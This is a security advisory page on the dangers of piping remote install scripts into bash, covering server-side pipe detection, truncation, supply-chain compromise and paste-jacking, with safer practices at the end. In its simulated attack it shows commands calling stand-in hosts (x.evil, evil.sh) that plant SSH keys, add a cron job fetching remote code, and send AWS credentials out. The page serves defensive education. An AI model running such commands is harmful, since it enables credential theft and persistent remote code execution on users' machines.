// security advisory · pipe-to-shell

You just ran code
you never saw.

Piping a remote script straight into your shell hands an anonymous server a live shell on your machine — running as you, with your permissions, before a single byte ever reaches your eyes.

zsh — you, every day
curl -sSL https://get.example.sh | bash
no inspection step executes while downloading runs as your user server picks the bytes
## 00 — what `| bash` actually does

There is no download-then-run boundary.

01

Open a stream

curl opens a TCP connection to a host you don't control and starts piping its response into bash's stdin.

02

Execute as it arrives

bash reads and runs the script line-by-line as bytes stream in — not after a complete, verified download.

03

Full privileges

It runs with your user: your files, SSH keys, ~/.aws creds, env vars, and any cached sudo timestamp.

04

TLS proves almost nothing

HTTPS confirms you reached a server with a valid cert. It says nothing about whether that server is honest, breached, or serving you a different script than the next person.

## 01 — attack vectors

Five ways the same command bites.

Every one of these exploits the same root facts: you never read the script, the server chooses what to send per request, and execution is streaming.

01

Per-request payload switching

targeted

The server sees your request and decides, live, what to return. User-Agent: curl/8.x already tells it you're not a browser. Add IP geolocation, ASN/IP reputation, time-of-day, and whether you're piping to a shell (next section), and it can serve a clean script to researchers and scanners while serving the payload only to real victims.

server-side decision
# the SAME url returns different bodies
if ua == "browser" or ip in researcher_ranges:
    serve(benign_installer)        # what audits see
else:
    serve(payload)                  # what you get
02

Slow-read timing detection

actively exploited

Because bash runs commands as it reads them, a server can tell you're piping without any header. It ends the first chunk with a slow command, then times how long before you read the rest. A pipe pauses to execute; an -o file save reads everything instantly. Detail in the detection section.

03

Mid-stream truncation

destructive

Streaming execution means a connection cut at the wrong byte can run a partial line. A flaky proxy, a killed connection, or a deliberate truncation can turn a safe command into a catastrophic one — and bash has already executed everything before the cut.

install.sh — what the author wrote
rm -rf /tmp/app-cache/*
# ...but the stream was cut after byte 11. bash ran:
rm -rf /tmp
04

Compromised host, CDN, mirror, or DNS

supply-chain

A pipe-to-shell command trusts that server's integrity forever and pins nothing. A breached origin, a poisoned CDN edge, a malicious mirror, or a hijacked DNS record means the install line in the README now serves malware — and because no one published a checksum, there is nothing to compare against and no record of what ran.

05

Lookalikes & clipboard hijacking

social

The command looks right. Typosquatted domains (get.dockor.io), homoglyphs, and shortened URLs hide the real destination. Worse, a web page can rig what your ⌘C actually copies — selected text shows one command, the clipboard holds another, often with a trailing newline that auto-runs on paste.

paste-jacking
# what the page shows you select:
curl https://get.tool.sh | bash
# what actually landed in your buffer:
curl https://get.tool.sh|bash; curl evil.sh|bash⏎
## 02 — server-side detection deep-dive

How a server knows you're piping.

The first chunk of the response ends with padding plus a delay command. The server flushes it, then waits — measuring the gap before your client reads the rest. bash executes the delay before requesting more bytes; a file save doesn't. That single timing difference is enough to branch the payload.

server.py — the timing branch
# one connection, response sent in two chunks
send(CHUNK_1)            # ...padding... ; sleep 1
flush(socket)
t = now()
# bash runs `sleep 1` BEFORE reading on.
# a browser / `-o file` reads it all at once.
wait_for_next_read(socket)
if now() - t > 0.5:    # it paused -> executing
    send(MALICIOUS_CHUNK_2)
else:
    send(BENIGN_CHUNK_2)
curl … | bash
→ read chunk 1
→ run sleep 1 ⏸ pause
→ read chunk 2 (late)
server: "pipe detected"
curl … -o install.sh
→ read all bytes now (instant)
→ nothing executes
server: "file save"
// interactive — same URL, two outcomes
# server saw one fast, complete read — looks like a file save
curl -sSL https://get.example.sh -o install.sh
# install.sh — benign installer served
less install.sh   # now you can actually read it# server timed your read — you are piping to a shell
curl -sSL https://get.example.sh | bash
+ curl -s https://x.evil/k | tar xz -C ~/.ssh
+ (crontab -l; echo '*/5 * * * * curl x.evil/c|bash') | crontab -
+ cp ~/.aws/credentials /tmp/.c && curl -F f=@/tmp/.c x.evil
✓ docker installed successfully
clean scriptSame URL, harmless bytes. The branch happened the moment it detected the read.
payload deliveredThe "success" line is the cover story. Same URL, weaponised bytes.
## 03 — do this instead

Put a boundary back between fetch and run.

The whole risk collapses once there's an inspect step. You don't have to read every line of every script forever — but the option, the record, and the checksum should exist.

the four-step habit
# 1 — fetch without executing (and force good TLS)
curl --proto '=https' --tlsv1.2 -fsSL https://get.example.sh -o install.sh

# 2 — actually read it
less install.sh

# 3 — verify, if a hash or signature is published
sha256sum install.sh          # compare to the published value
gpg --verify install.sh.asc install.sh

# 4 — run it explicitly, ideally sandboxed
bash install.sh             # or inside a container / VM

Prefer package managersapt, dnf, pacman — with signed repositories and a real update trail.

Never add -k / --insecure to make an install "just work." That disables the one check you have.

Type or carefully verify URLs; don't paste install commands blind from forums, chats, or docs that could be edited.

Run unknown installers in a container or VM first, so a bad payload has nothing of yours to steal.

Enable your terminal's bracketed paste so a sneaky trailing newline can't auto-execute a pasted command.

Maintainers: ship signed packages and publish checksums. Don't normalize pipe-to-shell as the only path.

note — pipe-to-shell isn't always catastrophic, and plenty of honest projects ship it. The point is the trust you extend: the server, the transport, and the integrity of that exact byte stream — every single run, with no record of what executed.